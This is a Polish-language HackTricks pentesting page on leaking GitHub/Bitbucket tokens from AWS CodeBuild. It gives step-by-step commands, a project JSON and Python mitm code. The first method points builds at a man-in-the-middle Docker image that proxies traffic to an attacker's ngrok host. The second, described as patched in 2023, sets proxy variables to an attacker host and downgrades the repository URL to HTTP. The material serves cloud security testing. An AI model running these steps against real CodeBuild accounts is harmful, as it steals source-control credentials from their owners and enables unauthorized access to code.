AWS Codebuild - Token Leakage

Wspieraj HackTricks

Odzyskiwanie Skonfigurowanych Tokenów Github/Bitbucket

Najpierw sprawdź, czy są skonfigurowane jakiekolwiek poświadczenia źródłowe, które możesz wyciec:

aws codebuild list-source-credentials

Via Docker Image

Jeśli okaże się, że uwierzytelnianie do na przykład Github jest ustawione na koncie, możesz wyeksfiltrować ten dostęp (GH token lub OAuth token) poprzez zmuszenie Codebuild do użycia konkretnego obrazu docker do uruchomienia budowy projektu.

W tym celu możesz utworzyć nowy projekt Codebuild lub zmienić środowisko istniejącego, aby ustawić obraz Docker.

Obraz Docker, którego możesz użyć, to https://github.com/carlospolop/docker-mitm. Jest to bardzo podstawowy obraz Docker, który ustawi zmienne środowiskowe https_proxy, http_proxy i SSL_CERT_FILE. Pozwoli to na przechwycenie większości ruchu hosta wskazanego w https_proxy i http_proxy oraz zaufanie certyfikatowi SSL wskazanemu w SSL_CERT_FILE.

  1. Utwórz i prześlij własny obraz Docker MitM

  • Postępuj zgodnie z instrukcjami repozytorium, aby ustawić adres IP proxy i ustawić certyfikat SSL oraz zbudować obraz docker.

  • NIE USTAWIAJ http_proxy, aby nie przechwytywać żądań do punktu końcowego metadanych.

  • Możesz użyć ngrok jak ngrok tcp 4444, aby ustawić proxy na swoim hoście.

  • Gdy obraz Docker zostanie zbudowany, prześlij go do publicznego repozytorium (Dockerhub, ECR...)

  1. Ustaw środowisko

  • Utwórz nowy projekt Codebuild lub zmodyfikuj środowisko istniejącego.

  • Ustaw projekt na użycie wcześniej wygenerowanego obrazu Docker

  1. Ustaw proxy MitM na swoim hoście

  • Jak wskazano w repozytorium Github, możesz użyć czegoś takiego:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Użyta wersja mitmproxy to 9.0.1, zgłoszono, że z wersją 10 to może nie działać.

  1. Uruchom build i przechwyć poświadczenia

  • Możesz zobaczyć token w nagłówku Authorization:

To można również zrobić z aws cli za pomocą czegoś takiego

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via HTTP protocol

Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już jej nadużywać :)

Atakujący z podwyższonymi uprawnieniami w CodeBuild może wyciec token Github/Bitbucket skonfigurowany lub, jeśli uprawnienia zostały skonfigurowane przez OAuth, tymczasowy token OAuth używany do dostępu do kodu.

  • Atakujący mógłby dodać zmienne środowiskowe http_proxy i https_proxy do projektu CodeBuild wskazując na swoją maszynę (na przykład http://5.tcp.eu.ngrok.io:14972).

  • Następnie, zmień URL repozytorium github na używające HTTP zamiast HTTPS, na przykład: **http://**github.com/carlospolop-forks/TestActions

  • Następnie, uruchom podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na koniec kliknij Build the project, credentials zostaną wysłane w jawnym tekście (base64) do portu mitm:

Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie jego uprawnienia i (nadużywać) łatwiej niż bezpośrednio korzystając z usługi CodeBuild.

Wspieraj HackTricks

Last updated